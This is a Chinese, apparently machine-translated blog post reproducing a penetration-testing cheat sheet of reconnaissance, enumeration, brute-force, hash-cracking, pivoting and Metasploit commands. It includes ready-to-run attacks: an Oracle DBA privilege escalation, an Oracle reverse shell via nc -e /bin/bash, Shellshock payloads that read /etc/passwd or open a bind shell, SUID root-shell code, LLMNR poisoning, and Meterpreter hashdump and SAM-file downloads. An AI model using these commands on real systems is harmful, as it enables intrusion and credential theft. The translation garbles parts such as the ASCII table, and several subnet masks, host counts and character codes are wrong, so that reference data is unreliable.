渗透工具备忘录

渗透测试工具备忘单,是典型渗透测试约定的快速参考高级概述。设计为快速参考备忘单,它提供了第三方笔测试公司在执行手动基础结构渗透测试时将要运行典型命令高级概述有关更多详细信息,我建议使用该工具的手册文件,或者从右侧菜单中选择更具体的笔测试备忘单。

本备忘单的重点是基础架构/网络渗透性测试,这里不讨论Web应用程序渗透性测试,除了最后一些sqlmap命令和一些Web服务器枚举。对于Web应用程序渗透测试,请查阅Web应用程序黑客手册,它非常适合学习和参考。

网络配置

设定IP位址

ifconfig eth0 xxx.xxx.xxx.xxx/24 

子网划分

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

OSINT

被动信息收集

域名解析

WHOIS枚举
whois domain-name-here.com 
执行DNS IP查找
dig a domain-name-here.com @nameserver 
执行MX记录查询
dig mx domain-name-here.com @nameserver
用DIG执行区域传输
dig axfr domain-name-here.com @nameserver

DNS区域转移

命令描述

nslookup -> set type=any -> ls -d blah.com

Windows DNS区域传输

dig axfr blah.com @ns1.blah.com

Linux DNS区域传输

电子邮件

只需发送电子邮件

使用Simply Email枚举所有在线位置(github,目标站点等),如果您使用代理服务器或设置较长的油门时间,则效果更好,因此Google不会认为您是机器人,而是会填写验证码。

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email可以在收集后验证发现的电子邮件地址。

半主动信息收集

基本指纹

手动指纹/横幅抓取。

命令描述

nc -v 192.168.1.1 25

telnet 192.168.1.1 25

基本版本控制/通过显示的横幅进行指纹打印

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

主动信息收集

DNS暴力破解

域名解析

DNS枚举Kali-DNSRecon

root dnsrecon -d目标-D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

端口扫描

Nmap命令

有关更多命令,请参见Nmap备忘单(右侧菜单中的链接)。

基本的Nmap命令:

命令描述

nmap -v -sS -A -T4 target

Nmap详细扫描,运行同步隐身,T4定时(在局域网上应该可以),操作系统和服务版本信息,针对服务的traceroute和脚本

nmap -v -sS -p--A -T4 target

如上,但是扫描所有TCP端口(花费更长的时间)

nmap -v -sU -sS -p- -A -T4 target

如上,但是扫描所有TCP端口和UDP扫描(需要更长的时间)

nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X

Nmap脚本来扫描易受攻击的SMB服务器-警告:不安全= 1可能会导致故障转移

ls /usr/share/nmap/scripts/* | grep ftp

在nmap脚本中搜索关键字

我有几个人提到过T4扫描,请在此处应用常识。不要在外部笔测试中使用T4命令(使用Internet连接时),最好将T2与TCP连接扫描一起使用。在具有足够带宽的低延迟链接上,T4扫描可能更适合内部笔测试。但是,这一切都取决于目标设备,如果您使用T4 / T5嵌入式设备并给出不确定的结果,则嵌入式设备将难以应对。作为一般的经验法则,请尽可能缓慢地扫描,或对前1000名进行快速扫描,以便可以开始笔测试,然后开始较慢的扫描。

Nmap UDP扫描
nmap -sU TARGET 
UDP协议扫描器
git clone https://github.com/portcullislabs/udp-proto-scanner.git

扫描IP地址文件以获取所有服务:

./udp-protocol-scanner.pl -f ip.txt 

扫描特定的UDP服务:

udp-proto-scanner.pl -p ntp -f ips.txt
其他主机发现

其他主机发现方法,不使用nmap…

命令描述

netdiscover -r 192.168.1.0/24

从ARP查找子网上的IP,MAC地址和MAC供应商,有助于确认您在$ client站点上的正确VLAN中

枚举和攻击网络服务

渗透测试工具可专门识别和/或枚举网络服务:

SAMB / SMB / Windows域枚举

Samba枚举

SMB枚举工具
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

另请参阅nbtscan备忘单(右侧菜单)。

命令描述

nbtscan 192.168.1.0/24

发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域

enum4linux -a target-ip

做所有事情,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组)

指纹SMB版本
smbclient -L //192.168.1.100 
查找公开的SMB共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   
枚举SMB用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID骑行:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

用于RID循环的Metasploit模块:

use auxiliary/scanner/smb/smb_lookupsid
手动Null会话测试:

视窗:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131
NBTScan unixwiz

安装在Kali上:

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS欺骗

从网络窃取凭据。

Metasploit LLMNR / NetBIOS请求

欺骗/中毒LLMNR / NetBIOS请求:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

捕获哈希:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

您最终将获得NTLMv2哈希,请使用john或hashcat对其进行破解。

响应者

或者,您可以使用响应者。

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
运行Responder.py进行整个互动

在处理其他攻击媒介时,运行Responder.py进行互动。

SNMP枚举工具

许多SNMP枚举工具。

修复SNMP输出值,以使其易于阅读:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
命令描述

snmpcheck -t 192.168.1.X -c public

snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f

snmpenum -t 192.168.1.X

onesixtyone -c names -i hosts

SNMP枚举

SNMPv3枚举工具

使用nmap识别SNMPv3服务器:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune的snmpwalk包装器脚本有助于自动化SNMPv3的用户名枚举过程:

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
使用Metasploits词汇表

Metasploit的单词表(下面的KALI路径)具有SNMP v1和2的通用凭据,对于较新的凭据,请查看GitHub上的Daniel Miessler的SecLists项目(而不是邮件列表!)。

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R服务枚举

这是遗留的,包括完整性。

nmap -A将执行下面列出的所有rservices枚举,添加此部分是为了完整性或手动确认:

RSH枚举

RSH运行命令
rsh <target> <command>
Metasploit RSH登录扫描仪
auxiliary/scanner/rservices/rsh_login
rusers显示已登录的用户
rusers -al 192.168.2.1
rusers扫描整个子网
rlogin -l <user> <target>

例如rlogin -l root TARGET-SUBNET / 24

手指枚举

finger @TARGET-IP

手指一个特定的用户名

finger batman@TARGET-IP 

显示所有已登录用户的Solaris错误:

finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost 

使用nmap识别运行rwhod(513 UDP)的计算机

TLS和SSL测试

testssl.sh

在单个主机上测试所有内容并输出到.html文件:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html  

漏洞评估

在Kali Rolling上安装OpenVAS 8:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

使用以下命令验证openvas是否正在运行:

netstat -tulpn

登录https://127.0.0.1:9392-在openvas-setup期间生成凭据。

数据库渗透测试

攻击网络上暴露的数据库服务器。

甲骨文

安装oscanner:

apt-get install oscanner  

运行oscanner:

oscanner -s 192.168.1.200 -P 1521 

指纹Oracle TNS版本

安装tnscmd10g:

apt-get install tnscmd10g

指纹Oracle TNS:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

蛮力Oracle用户帐户

识别默认的Oracle帐户:

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

针对Oracle TNS运行nmap脚本:

nmap -p 1521 -A TARGET

Oracle特权升级

要求:

  • Oracle需要在网络上公开
  • 使用默认帐户,例如scott

快速概述:

  1. 创建功能
  2. 在表SYS.DUAL上创建索引
  3. 我们刚刚创建的索引执行我们的函数SCOTT.DBA_X
  4. 该函数将由SYS用户执行(因为拥有该表的用户)。
  5. 使用DBA特权创建帐户

在下面的示例中,使用了用户SCOTT,但是使用另一个默认的Oracle帐户应该可以实现。

使用NMAP NSE脚本识别oracle db中的默认帐户:
nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

使用已识别的弱帐户登录(假设您找到一个)。

如何为oracle用户标识当前特权级别:
SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc并获得DBA访问权限:

运行netcat:netcat -nvlp 443代码>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
使用选择查询运行漏洞利用:
SQL> Select * from session_privs; 

您应该有一个DBA用户,其凭据为user1和pass1。

通过再次重新运行第一个命令来验证您是否具有DBA特权。

使用以下方法删除漏洞:
drop index exploit_1337; 
获取Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end; 

微软SQL

枚举/发现:

Nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping
使用MS SQL Server浏览更多

尝试通过MS SQL Server Management Studio使用“更多浏览”

Bruteforce MSSQL登录

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

网络

Plink.exe隧道

腻子链接隧道

将远程端口转发到本地地址:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

旋转

SSH透视

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

在/etc/proxychains.conf中添加socks4 127.0.0.1 1010

SSH从一个网络转到另一个网络:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

在/etc/proxychains.conf中添加socks4 127.0.0.1 1010

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

在/etc/proxychains.conf中添加socks4 127.0.0.1 1011

Meterpreter枢轴

TTL指纹

操作系统TTL尺寸

视窗

128

的Linux

64

的Solaris

255

思科/网络

255

IPv4备忘单

IP等级范围

例如A,B,C类(折旧)

IP地址范围

A类IP地址范围

0.0.0.0 - 127.255.255.255

B类IP地址范围

128.0.0.0 - 191.255.255.255

C类IP地址范围

192.0.0.0 - 223.255.255.255

D类IP地址范围

224.0.0.0 - 239.255.255.255

E类IP地址范围

240.0.0.0 - 255.255.255.255

IPv4专用地址范围

范围

A类专用地址范围

10.0.0.0 - 10.255.255.255

B类专用地址范围

172.16.0.0 - 172.31.255.255

C类专用地址范围

192.168.0.0 - 192.168.255.255

 

127.0.0.0 - 127.255.255.255

IPv4子网备忘单

子网备忘单,并不是真正适用于笔测试,而是有用的参考。

CIDR小数掩码主机数

/ 31

255.255.255.254

1 Host

/ 30

255.255.255.252

2 Hosts

/ 29

255.255.255.249

6 Hosts

/ 28

255.255.255.240

14 Hosts

/ 27

255.255.255.224

30 Hosts

/ 26

255.255.255.192

62 Hosts

/ 25

255.255.255.128

126 Hosts

/ 24

255.255.255.0

254 Hosts

/ 23

255.255.254.0

512 Host

/ 22

255.255.252.0

1022 Hosts

/ 21

255.255.248.0

2046 Hosts

/ 20

255.255.240.0

4094 Hosts

/ 19

255.255.224.0

8190 Hosts

/ 18

255.255.192.0

16382 Hosts

/ 17

255.255.128.0

32766 Hosts

/ 16

255.255.0.0

65534 Hosts

/ 15

255.254.0.0

131070 Hosts

/ 14

255.252.0.0

262142 Hosts

/ 13

255.248.0.0

524286 Hosts

/ 12

255.240.0.0

1048674 Hosts

/ 11

255.224.0.0

2097150 Hosts

/ 10

255.192.0.0

4194302 Hosts

/ 9

255.128.0.0

8388606 Hosts

/ 8

255.0.0.0

16777214 Hosts

VLAN跳变

将NCCGroups VLAN包装器脚本用于Yersina可简化该过程。

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

VPN渗透测试工具

识别VPN服务器:

./udp-protocol-scanner.pl -p ike TARGET(s)

扫描范围内的VPN服务器:

./udp-protocol-scanner.pl -p ike -f ip.txt

宜家

使用IKEForce枚举或词典攻击VPN服务器。

安装:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

使用IKEForce执行IKE VPN枚举:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

使用IKEForce的Bruteforce IKE VPN:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE积极模式PSK破解

  1. 识别VPN服务器
  2. 用IKEForce枚举以获得组ID
  3. 使用ike-scan从IKE端点捕获PSK哈希
  4. 使用psk-crack破解哈希
步骤1:识别IKE服务器
./udp-protocol-scanner.pl -p ike SUBNET/24
步骤2:使用IKEForce枚举组名
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
步骤3:使用ike-scan捕获PSK哈希
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
步骤4:使用psk-crack破解PSK哈希
psk-crack hash-file.txt

以下是一些更高级的psk-crack选项:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP骇客

识别PPTP,它侦听TCP:1723

NMAP PPTP指纹:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP词典攻击
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS隧道

通过DNS隧道传输数据以绕过防火墙。

dnscat2支持“下载”和“上传”命令,用于从目标计算机获取文件(数据和程序)。

攻击机

安装:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

运行dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

目标机器:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF /漏洞利用

利用研究

查找枚举主机/服务的漏洞。

命令描述

searchsploit windows 2003 | grep -i local

搜索exploit-db以进行利用,在此示例中为Windows 2003 + local esc

site:exploit-db.com exploit kernel <= 3

使用Google搜索exploit-db.com中的漏洞

grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*

使用grep搜索metasploit模块-msf搜索很烂

搜索漏洞

安装exploit-db的本地副本:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

在Kali上编译Windows漏洞

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

交叉编译漏洞

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

利用常见漏洞

利用Shellshock

查找和利用容易受到Shellshock攻击的服务器的工具:

git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat文件(查看文件内容)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
外壳震动运行绑定外壳
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
外壳防震外壳
nc -l -p 443

简单的本地Web服务器

Python本地Web服务器命令,方便在攻击计算机上提供shell和漏洞利用。

命令描述

python -m SimpleHTTPServer 80

运行基本的http服务器,非常适合提供shell等

python3 -m http.server

运行基本的Python3 http服务器,非常适合提供shell等

ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"

运行ruby webrick基本的HTTP服务器

php -S 0.0.0.0:80

运行基本的PHP http服务器

挂载文件共享

如何挂载NFS / CIFS,Windows和Linux文件共享。

命令描述

mount 192.168.1.1:/vol/share /mnt/nfs

挂载NFS共享到 /mnt/nfs

mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs

在Linux上挂载Windows CIFS / SMB共享,/mnt/cifs如果您删除密码,它将在CLI上提示(更安全,因为它不会出现在bash_history中)

net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no

从命令行在Windows上挂载Windows共享

apt-get install smb4k -y

在Kali(用于浏览SMB共享的有用Linux GUI)上安装smb4k

HTTP / HTTPS Web服务器枚举

命令描述

nikto -h 192.168.1.1

对目标执行nikto扫描

dirbuster

通过GUI配置,CLI输入在大多数情况下不起作用

包检查

命令描述

tcpdump tcp port 80 -w output.pcap -i eth0

接口eth0上端口80的tcpdump,输出到output.pcap

用户名枚举

用于远程枚举目标系统上的用户的一些技术。

SMB用户枚举

命令描述

python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

枚举SMB中的用户

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

RID循环SMB /从SMB枚举用户

SNMP用户枚举

命令描述

snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4

SNMP的新兴用户

python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX

SNMP的新兴用户

nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)

搜索具有nmap,可重复输出的SNMP服务器

密码

词表

命令描述

/usr/share/wordlists

卡利语单词表

蛮力服务

Hydra FTP蛮力

命令描述

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V

Hydra FTP暴力破解

九头蛇POP3蛮力

命令描述

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V

九头蛇POP3蛮力

Hydra SMTP暴力破解

命令描述

hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V

Hydra SMTP暴力破解

使用-t限制并发连接,例如:-t 15

密码破解

密码破解渗透测试工具。

约翰开膛手-JTR

命令描述

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

JTR密码破解

john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt

JTR用单词表强制解密

john --format=descrypt hash --show

JTR强制解密暴力破解

Windows渗透测试命令

请参阅Windows渗透测试命令

Linux渗透测试命令

有关可用于本地系统枚举的Linux渗透测试命令的列表,请参见Linux命令备忘单(右侧菜单)。

编译漏洞

有关编译漏洞的一些说明。

识别C代码是用于Windows还是Linux

C #includes将指示应使用哪个操作系统来构建漏洞利用程序。

命令描述

process.h, string.h, winbase.h, windows.h, winsock2.h

Windows漏洞利用代码

arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h

Linux利用代码

建立利用GCC

编译利用gcc。

命令描述

gcc -o exploit exploit.c

基本的GCC编译

GCC在64Bit Kali上编译32Bit漏洞

便于在64位攻击机上交叉编译32位二进制文​​件。

命令描述

gcc -m32 exploit.c -o exploit

在64位Linux上交叉编译32位二进制文​​件

在Linux上编译Windows .exe

在Linux上构建/编译Windows漏洞,生成一个.exe文件。

命令描述

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

在Linux上编译Windows .exe

SUID二进制

通常,需要SUID C二进制文件以超级用户身份生成外壳,您可以根据需要更新UID / GID和外壳。

以下是各种shell的一些快速复制和粘贴示例:

用于/ bin / bash的SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

用于/ bin / sh的SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

构建SUID Shell二进制文件

gcc -o suid suid.c  

对于32位:

gcc -m32 -o suid suid.c  

反壳

有关有用的反向外壳列表,请参见“ 反向外壳备忘单 ”。

TTY弹壳

技巧/窍门,用于从Linux中的受限shell中生成TTY shell,对于su从反向shell 运行命令非常有用

Python TTY Shell技巧

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY外壳

exec "/bin/sh";
perl e 'exec "/bin/sh";'

Spawn Ruby TTY外壳

exec "/bin/sh"

Spawn Lua TTY外壳

os.execute('/bin/sh')

Vi的Spawn TTY Shell

从vi运行shell命令:

:!bash

Spawn TTY Shell NMAP

!sh

Metasploit备忘单

我发现方便参考的基本metasploit备忘单。

可供参考的基本Metasploit命令,可用于透视,请参阅-Meterpreter透视技术。

Meterpreter有效负载

Windows反向抄表器有效负载

命令描述

set payload windows/meterpreter/reverse_tcp

Windows反向TCP有效负载

Windows VNC Meterpreter有效负载

命令描述

set payload windows/vncinject/reverse_tcp

set ViewOnly false

Meterpreter Windows VNC有效负载

Linux反向Meterpreter有效负载

命令描述

set payload linux/meterpreter/reverse_tcp

Meterpreter Linux反向有效负载

Meterpreter作弊表

有用的meterpreter命令。

命令描述

upload file c:\\windows

Meterpreter将文件上传到Windows目标

download c:\\windows\\repair\\sam /tmp

从Windows目标下载Meterpreter文件

download c:\\windows\\repair\\sam /tmp

从Windows目标下载Meterpreter文件

execute -f c:\\windows\temp\exploit.exe

Meterpreter在目标上运行.exe-方便执行上传的漏洞

execute -f cmd -c

使用cmd shell创建新频道

ps

Meterpreter显示流程

shell

Meterpreter使外壳对准目标

getsystem

Meterpreter尝试特权升级目标

hashdump

Meterpreter尝试将哈希值转储到目标上

portfwd add –l 3389 –p 3389 –r target

Meterpreter创建端口转发到目标计算机

portfwd delete –l 3389 –p 3389 –r target

Meterpreter删除端口转发

通用Metasploit模块

顶级metasploit模块。

远程Windows Metasploit模块(漏洞利用)

命令描述

use exploit/windows/smb/ms08_067_netapi

MS08_067 Windows 2k,XP,2003远程利用

use exploit/windows/dcerpc/ms06_040_netapi

MS08_040 Windows NT,2k,XP,2003远程利用

use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index

MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程利用

本地Windows Metasploit模块(漏洞利用)

命令描述

use exploit/windows/local/bypassuac

在Windows 7上绕过UAC +设置目标+拱门,x86 / 64

辅助Metasploit模块

命令描述

use auxiliary/scanner/http/dir_scanner

Metasploit HTTP目录扫描程序

use auxiliary/scanner/http/jboss_vulnscan

Metasploit JBOSS漏洞扫描程序

use auxiliary/scanner/mssql/mssql_login

Metasploit MSSQL凭据扫描仪

use auxiliary/scanner/mysql/mysql_version

Metasploit MSSQL版本扫描程序

use auxiliary/scanner/oracle/oracle_login

Metasploit Oracle登录模块

Metasploit Powershell模块

命令描述

use exploit/multi/script/web_delivery

Metasploit Powershell负载交付模块

post/windows/manage/powershell/exec_powershell

Metasploit通过会话上传并运行Powershell脚本

use exploit/multi/http/jboss_maindeployer

Metasploit JBOSS部署

use exploit/windows/mssql/mssql_payload

Metasploit MSSQL有效负载

发布利用Windows Metasploit模块

Windows Metasploit模块,用于特权升级。

命令描述

run post/windows/gather/win_privs

Metasploit显示当前用户的特权

use post/windows/gather/credentials/gpp

Metasploit抢GPP保存的密码

load mimikatz -> wdigest

元分裂负载Mimikatz

run post/windows/gather/local_admin_search_enum

识别提供的域用户具有管理访问权限的其他计算机

run post/windows/gather/smart_hashdump

自动转储sam文件,尝试esc特权等

ASCII表备忘单

对于Web应用程序渗透测试很有用,或者如果您在火星上受困并且需要与NASA进行通信时很有用。

ASCII码字符

x00

空字节

x08

学士学位

x09

标签

x0a

如果

x0d

CR

x1b

退出

x20

SPC

x21

x22

x23

x24

$

x25

x26

x27

`

x28

x29

x2a

*

x2b

+

x2c

x2d

--

x2e

x2f

/

x30

0

x31

1个

x32

2

x33

3

x34

4

x35

5

x36

6

x37

7

x38

8

x39

9

x3a

x3b

;

x3c

<

x3d

=

x3e

>

x3f

x40

@

x41

一种

x42

x43

C

x44

d

x45

Ë

x46

F

x47

G

x48

H

x49

一世

x4a

Ĵ

x4b

ķ

x4c

大号

x4d

中号

x4e

ñ

x4f

Ø

x50

P

x51

x52

[R

x53

小号

x54

Ť

x55

ü

x56

V

x57

w ^

x58

X

x59

ÿ

x5a

ž

x5b

[

x5c

\

x5d

]

x5e

^

x5f

_

x60

`

x61

一种

x62

b

x63

C

x64

d

x65

Ë

x66

F

x67

G

x68

H

x69

一世

x6a

Ĵ

x6b

ķ

x6c

x6d

x6e

ñ

x6f

Ø

x70

p

x71

q

x72

[R

x73

s

x74

Ť

x75

ü

x76

v

x77

w

x78

X

x79

ÿ

x7a

ž

CISCO IOS命令

有用的Cisco IOS命令的集合。

命令描述

enable

进入启用模式

conf t

简称,配置终端

(config)# interface fa0/0

配置FastEthernet 0/0

(config-if)# ip addr 0.0.0.0 255.255.255.255

将IP添加到fa0 / 0

(config-if)# ip addr 0.0.0.0 255.255.255.255

将IP添加到fa0 / 0

(config-if)# line vty 0 4

配置VTY线

(config-line)# login

思科设置​​telnet密码

(config-line)# password YOUR-PASSWORD

设置telnet密码

# show running-config

显示内存中正在运行的配置

# show startup-config

显示sartup配置

# show version

显示Cisco IOS版本

# show session

显示公开会议

# show ip interface

显示网络接口

# show interface e0

显示详细的界面信息

# show ip route

显示路线

# show access-lists

显示访问清单

# dir file systems

显示可用文件

# dir all-filesystems

档案资讯

# dir /all

如何删除文件

# terminal length 0

端子输出无限制

# copy running-config tftp

将正在运行的配置复制到tftp服务器

# copy running-config startup-config

将启动配置复制到运行配置

密码学

散列长度

杂凑尺寸

MD5哈希长度

16 Bytes

SHA-1哈希长度

20 Bytes

SHA-256哈希长度

32 Bytes

SHA-512哈希长度

64 Bytes

哈希示例

可能仅为此使用哈希标识符,但这是一些示例哈希:

杂凑

MD5哈希示例

8743b52063cd84097a65d1633f5c74f5

MD5 $ PASS:$ SALT示例

01dfae6e5d4d90d9892622325959afbe:7050461

MD5 $ SALT:$ PASS

f0fda58630310a6dd91a7d8f0a4ceda2:4225637426

SHA1哈希示例

b89eaac7e61417341b710b727768294d0e6a277b

SHA1 $ PASS:$ SALT

2fc5a684737ce1bf7b3b239df432416e0dd07357:2014

SHA1 $ SALT:$ PASS

cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

SHA-256

127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935

SHA-256 $ PASS:$ SALT

c73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4

SHA-256 $ SALT:$ PASS

eb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617

SHA-512

82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f

SHA-512 $ PASS:$ SALT

e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd

SHA-512 $ SALT:$ PASS

976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a

NTLM哈希示例

b4b9b02e6f09a9bd760f388b67351e2b

SQLMap示例

迷你SQLMap速查表:

命令描述

sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3

自动化sqlmap扫描

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"

有针对性的sqlmap扫描

sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump

使用mysql后端扫描URL进行联合+基于错误的注入,
并使用随机用户代理+数据库转储

sqlmap -o -u "http://meh.com/form/" --forms

sqlmap注入检查表

sqlmap -o -u "http://meh/vuln-form" --forms
-D database-name -T users --dump

表用户在数据库名称上的sqlmap转储和破解哈希。

posted @ 2020-01-15 09:33  提笔冩未來  阅读(1270)  评论(0编辑  收藏  举报